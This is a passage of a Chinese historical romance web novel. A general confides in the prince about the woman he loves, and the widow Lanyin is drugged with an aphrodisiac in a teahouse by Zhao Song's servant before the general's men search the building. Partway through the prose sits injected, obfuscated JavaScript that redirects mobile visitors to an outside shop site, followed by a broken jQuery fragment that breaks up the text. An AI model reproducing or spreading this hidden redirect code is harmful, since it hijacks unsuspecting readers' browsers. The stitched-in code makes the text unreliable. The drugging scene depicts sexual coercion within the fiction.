正二品的护军统领,掌管皇宫禁卫,而陈见玄手握重兵,但凡他有一点忌惮,都不会允许两家联姻。
能亲自选了这姑娘来给陈见玄相看,实在是花了心思的。喜武,性子又好,家世要高,满京城都未必再找出第二个。
“你如今年岁不小了,我像你这么大的时候,皇后已经生下长子。”
“我是想你成个亲,身边有个妻子,知冷知热的……”雍王语气诚恳坦荡道,“也并非真让你联姻,你若有喜欢的,哪怕那姑娘是个白身呢?我也会让皇后亲自给你二人赐婚。”
陈见玄听罢,眼底的反感缓缓消逝。
除了兰因,能劝他的人不多,也就一个雍王。
雍王看着远处的荷花池,神态放松道,“说罢,你喜欢什么样的?我和皇后帮你寻着。”
陈见玄没立刻回答,他端起方才雍王放他面前的茶,慢慢抿着,终于开口道,“白的。”
雍王挑眉,这不难。
陈见玄难得认真地想了想,语调比方才更缓了些,“柔弱些……说话轻声细语的。”
雍王皱眉,没想到陈见玄喜欢这样的。
却又听他说,“但是惹恼了也会发脾气。”
说到此处,男人微微勾唇,眼底漾着丝丝缕缕的笑意。
雍王看着他,忽地就明白了,他方才手中的茶盏,身子微微前倾,促狭地打量着他,“这么具体,莫不是已经有这个人?”
陈见玄笑而不语。
“你不早说!”雍王身子往后一靠,摇着头叹了口气,“倒让我白操这份心。”
“何时定下来?”
说到这里,陈见玄不笑了,沉了眸子,指腹沿着茶盏的边缘缓缓摩挲,“等她答应。”
陈见玄差不多是申时从皇宫里出来。
入秋时分,早上有点凉,到午后倒是有些热,他解了外袍递与周奉安,远远的看见有人冲他这边过来。
他微微眯了眯眼睛,神色有些沉。
是陈府中的老刘。
他时常跟着兰因出门,还算比较受兰因信任。
他瞧老刘神色有点慌张,心一沉,以为兰因出了什么事。
稳重的男人上前大步走去。
“出了何事?”
老刘走到陈见玄面前,欲言又止,也不知道该不该说。
他一直跟着兰因,车接车送,算是兰因身边的人,但……他还是陈府的人。
虽说二公子不拘着夫人出门,但二公子身边的周奉安是会日日问询夫人出门去往哪里,做了什么的。
夫人平日很少出门,他以为今日夫人是照旧去云锦绣坊的,但出了门,夫人却让他去会仙楼。
夫人是个寡妇,平日很少与人来往,也几乎没什么好友。今日到了会仙楼下,他下意识问了一句夫人去见何?
夫人好说话,待下人没架子,从不会嫌弃他们多嘴多舌的,但今日夫人却没回答。
他看着夫人上楼去,心里琢磨了很久。如果是放到以前,老刘是绝对不会多问多管,那是主子们的事,他一个下人哪里敢管。
可……他是清楚,二公子对夫人……非同一般。
说难听些,今日夫人出门,周奉安必定会来问,到时候他应该怎么回答?
他思来想去,虽说不是他应该多管的,但还是需要回禀二公子一声。
彼时,赵诵方把兰因抱在床上。
方才兰因疑惑的地方,打开门,里面正是一所卧榻。会仙楼来往客人多是达官显贵,有部分的癖好,打着喝茶的名头来这里贿赂的,偷.情的……数不胜数。
且会仙楼隐私性极好,只要给了银子,其余的一概不问,因此有很多人做见不得人的勾当就会来此处。
赵诵察觉兰因的神色不对。
方才在茶桌旁,兰因闭着眼,像是昏睡过去了。可此刻她的脸却泛起一层薄红,从颧骨一路漫到耳根,瓷白的肌肤底下像是有什么东西在烧。
她的睫毛微微颤着,眼睑时开时合,瞳孔涣散,没有焦点。
赵诵伸手去探她的额头,心底一沉。
他猛地转头,盯住正在关门的萧厉。
“你给她下了什么?”
萧厉见兰因药劲儿上来了,索性不再隐瞒,“春.药。”
“什么?”赵诵不可置信的看着他。
萧厉丝毫不觉得自己有错,“少主你心太软,如果只是寻常迷药,您会……”
他缓缓低下了头,“我怕您做不到最后……”
迷药和春.药是两码事,迷药只是会让兰因晕过去,可春.药……床上的女人是会需要他的。
他怕少主顾虑太多,让少主主动,还不如让那女子主动……即便是因为药物。
他知晓少主过不了心里那道坎儿,但……他不信少主对那女子没有半点情意……
“放肆!”赵诵起身呵斥他。
床上的女人抑制不住,她脑袋不是很清醒,朦胧间眼前好像有两个人争吵,但是看不清是谁。
只觉得心底像是有火向外蒸腾,她喉咙里溢出一声极轻的呻吟……
这呻吟听的人浑身酥麻,赵诵陡然从愤怒中被打断,他看了一眼床上的人,眼底闪过剧烈与痛苦的挣扎。
他看着萧厉道,“解药呢?”
萧厉抬眼,目光沉沉,“没有解药。”
“即便有解,也只能是抑制,并不能全解……”他看出赵诵的犹豫,上前一步,不由得着急劝诫道,“少主,现在是不是迷药重要吗?”
“她看重贞洁,您只有和她有了实质的关系,才能挽回婚事……难道我们一切都要前功尽弃吗?”
“半个月后,您就要去河州任职,到那时,远离京城,我们还能报仇吗?”
他不再看赵诵挣扎的神色,退后几步,关上了房门。
赵诵坐在床边,一动不动,像是被人牢牢地钉在了那里。
他根本不敢看兰因。
不知何时,手心里袭来剧烈的痛感,他向下看去,原来是自己紧紧攥着的拳头,指甲扎着手心,硌得生疼。
他浑身剧烈的颤抖。
修长的指节泛白,青筋在手背上隐隐凸起。
“额……”女人眉头微蹙,嘴唇缓缓翕动,发出极轻的细碎,含混的声音……
赵诵闭了目,再睁眼时,眼眶已经泛了红。
他已经没有回头路了。
他凝视着她,凝视了很久。眼眶里的红一直没褪,但眼神已经变了……歉意,自厌,还有他自己都说不清的、幽暗的东西。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742567|208205||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“对不起。”他轻声说道,声音很小。
兰因根本听不清,意识散乱的她更听不进去。
他轻轻拉住她的手。她的手心全是汗,滚烫的、潮湿的,攥着他的手指不肯松。他倾下身子,俯向她微启的唇。
“哐当”一声巨响,门被从外面猛地撞开。
萧厉的脸上满是慌张。
“少主,陈见玄来了。”
赵诵霍然起身,又下意识看向兰因。她的手还攥着他的手指,分毫未松。
“那她呢?”
萧厉大步上前,一把扯开两人的手,拽着赵诵的手腕就往暗道的方向走,“顾不了了,先走。绝不能被他发现。”
赵诵被他拖了几步,临到暗道入口时,还是回过头来,看了兰因最后一眼。
她躺在那里,衣襟微乱,双颊酡红,手指蜷着,攥着一把空落落的空气。
会仙楼的老板正在哄陈见玄,他带着谄媚的笑,“将军,我们这茶楼有规矩,不能向任何人透露来访的客人……”
陈见玄略抬起下颌,眼神微眯,眼底藏着不耐的锋芒。
周奉安一把攥紧老板的胸前的衣襟,刀抵在脖颈前,寒光凛冽。
和他主子一样的阴狠,“掌柜的,若能寻到人便罢了,若寻不到人……”
掌柜的立时瘫软了下来,浑身像是被抽了骨头一般,跌坐在地上。
他知晓陈见玄可不和寻常达官显贵好打发。
陈见玄冷着声音,吐出一个字,“搜。”
顷刻间,他身后十几个穿着黑衣侍卫如潮水般从他身侧涌过,靴身齐整又急促,踩着木质楼梯上发出沉闷的擂鼓一般的响动。
一间间的房门被踢开。
略有一对男女正在搂在一处吃酒,女人尖叫着缩进男人怀里,男的刚要拍案而起,抬眼撞见门口那张冷厉的脸,喉咙里的怒骂便似被卡住一般,说不出一句驱赶的话。
侍卫目光在房中一扫,没有看到人。
没多久,一个侍卫从二楼快步走下来,他脸色微变,却还是稳着声音,“将军,大约……寻到了。”
陈见玄见他神色不大对,赶忙快步走上前去。
二楼一处隐蔽的阁楼,陈见玄刚踏进去,就听见里面传来一声细弱的呻吟声……
陈见玄僵在原地,似是不敢相信,大步走上前去,果然看见卧房里躺着一个意识不清的女人。
是兰因。
她现下已经完全沉沦,浑身燥热难受,比赵诵还在时更加浑浑噩噩,整个身子颤抖的厉害,却又无法解脱。
素白的纤细手指染上了红晕,攥着自己胸前的衣襟,一会儿紧一会儿松,使得她胸前的白衣变得皱皱巴巴的。
她躺在床上,时不时传来微弱的,诱人的哼哼唧唧声音,实在惹人可怜……
周奉安跟在陈见玄身后,还不知道里面的情况。
只瞄了一眼就赶忙退后低下头,不敢再看。
整个屋子弥漫着十分不自然的气息。
周奉安是从雍王登基时一直跟在陈见玄身边,从开始到现在,什么脏事烂事没见过。
模糊的瞅见床榻上的女人面容潮红,便知道是怎么回事。
他小心开口询问道,“将军……我去寻解药来?”